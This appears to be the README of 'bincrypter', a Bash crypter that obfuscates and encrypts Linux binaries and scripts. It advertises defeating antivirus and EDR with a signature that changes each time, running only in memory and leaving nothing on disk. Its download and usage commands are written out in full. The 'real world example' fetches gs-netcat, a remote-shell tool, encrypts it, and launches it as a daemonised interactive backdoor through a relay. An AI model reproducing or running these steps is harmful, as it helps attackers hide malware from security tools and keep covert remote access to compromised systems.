A Linux Binary Runtime Crypter - in BASH!

• Obfuscate & encrypt any ELF binary
• Obfuscate & encrypt any SHELL-script
• AV/EDR death: Morphing + different signature every time
• 100% in-memory. No temporary files
• Not soiling the filesystem
• Double or triple encrypt the same binary (or itself)
• Resulting binary is heavily obfuscated (string only shows garbage)
• Living off the Land (LotL): Only needs /bin/sh + perl + openssl
• Architecture agnostic: Works on x86_64, aarch64, arm6, mips, ...
• Lock a binary to a target system and make it fail to run anywhere else.

Download:

curl -SsfL https://github.com/hackerschoice/bincrypter/releases/latest/download/bincrypter -o bincrypter
chmod +x bincrypter
./bincrypter -h

Example:

cp /usr/bin/id id
./bincrypter id
# Compressed: 68552 --> 24176 [35%]

./id
# uid=0(root) gid=0(root) groups=0(root)

Set a custom PASSWORD (optionally):

cp /usr/bin/id id
./bincrypter id foobar
# Compressed: 68552 --> 23860 [34%]

./id
# Enter Password: foobar
# uid=0(root) gid=0(root) groups=0(root)

Real world example:

curl -SsfL "https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m)" | PASSWORD="foobar" ./bincrypter  >gsnc
chmod +x gsnc
PASSWORD="foobar" GS_ARGS="-ilD -s ChangeMe" ./gsnc
